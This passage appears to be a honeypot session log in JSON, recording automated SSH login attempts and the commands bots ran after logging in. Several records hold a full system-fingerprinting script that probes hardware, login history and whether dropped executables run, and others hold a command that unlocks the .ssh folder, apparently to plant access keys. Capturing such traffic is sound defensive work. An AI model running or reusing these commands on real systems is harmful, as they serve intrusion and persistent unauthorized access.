2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:35:14.022491+00:00",
  "ended_at": "2026-08-27T05:35:14.136051+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e09a25b4-1575-41fb-aab8-ece6810ff3c2",
  "name": "candid-jovial-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 61709,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:34:45.877563+00:00",
  "ended_at": "2026-08-27T05:35:28.320685+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5051a227-a361-4f9d-87af-aec86904a535",
  "name": "gnarled-glassy-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 38680,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:33:51.635172+00:00",
  "ended_at": "2026-08-27T05:33:53.597740+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2300
 },
 {
  "id": "a1a3dfdb-ff33-40ac-9dfc-3b539e7dd4d4",
  "name": "breezy-vigilant-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 41660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:33:36.989308+00:00",
  "ended_at": "2026-08-27T05:33:37.954507+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2407df72-502e-4942-aa5b-7d876ccab28a",
  "name": "jaunty-loyal-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38688,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:33:35.719996+00:00",
  "ended_at": "2026-08-27T05:33:36.365258+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d9d270a-a9dd-4773-82ff-86e7a9870ee6",
  "name": "boreal-sunlit-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 37112,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:33:18.934122+00:00",
  "ended_at": "2026-08-27T05:33:19.048122+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "73e31b22-0e57-47e8-8e1a-78697170d57e",
  "name": "jovial-sturdy-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 46184,
  "username": "f",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:31:55.971028+00:00",
  "ended_at": "2026-08-27T05:31:57.647501+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2240
 },
 {
  "id": "97c77e9c-71ea-4c64-854b-b63b000dc1e2",
  "name": "ginger-flinty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46200,
  "username": "f",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:31:39.962712+00:00",
  "ended_at": "2026-08-27T05:31:41.576293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "223a2f04-4b18-4c8d-bc00-b776b082dfb6",
  "name": "tangled-blithe-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46186,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:31:38.245635+00:00",
  "ended_at": "2026-08-27T05:31:39.304490+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b3eb9a4-9d87-45ec-8751-94c6278f8750",
  "name": "flinty-glacial-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 34192,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:31:27.140031+00:00",
  "ended_at": "2026-08-27T05:31:27.252560+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9ceccefd-5dca-4c6a-9530-69f7473b502c",
  "name": "mossy-meadow-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 54109,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:31:02.661573+00:00",
  "ended_at": "2026-08-27T05:31:06.660701+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81381a86-19b8-4448-9172-d584b743fa7b",
  "name": "bronzed-russet-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37166,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:29:57.271815+00:00",
  "ended_at": "2026-08-27T05:29:58.450742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "88b12546-ef68-4240-b473-86b54d3ca22c",
  "name": "hushed-graceful-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37192,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:29:41.602087+00:00",
  "ended_at": "2026-08-27T05:29:43.448754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94a0e83a-04ca-434c-9cd3-0c7cd729e663",
  "name": "craggy-plush-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37182,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:29:40.328031+00:00",
  "ended_at": "2026-08-27T05:29:40.967066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14e26c10-5b81-48ed-a81c-b5a976012490",
  "name": "faded-freckled-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 59528,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:29:36.760640+00:00",
  "ended_at": "2026-08-27T05:29:36.874493+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d2ea5b50-c2fe-4c31-970f-7c78c64e9469",
  "name": "supple-lively-stonechat",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:29:26.060195+00:00",
  "ended_at": "2026-08-27T05:45:08.300071+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3defef93-3779-4c1d-b165-f0c860075d16",
  "name": "emerald-mindful-wigeon",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "136.113.204.71",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (compatible; Reflectionbot/1.0; +https://reflection.ai/bot)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:28:03.497608+00:00",
  "ended_at": "2026-08-27T05:43:08.288816+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "71c78d73-7759-4327-9c61-945c7b6a8aba",
  "name": "daring-dapper-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 34888,
  "username": "penis",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:28:01.495898+00:00",
  "ended_at": "2026-08-27T05:28:03.406546+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "2b9e47cd-fcb1-4ad5-bdea-bf713fca373b",
  "name": "umber-graceful-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 44778,
  "username": "penis",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:27:47.016102+00:00",
  "ended_at": "2026-08-27T05:27:48.054307+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce98eae9-f829-4b8c-a98e-1e966f6b44e1",
  "name": "coastal-gloomy-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 34904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:27:45.753357+00:00",
  "ended_at": "2026-08-27T05:27:46.400501+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b8b62bf-3ab3-4e79-99cd-3c8d4ecccdae",
  "name": "crimson-quartz-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 56656,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 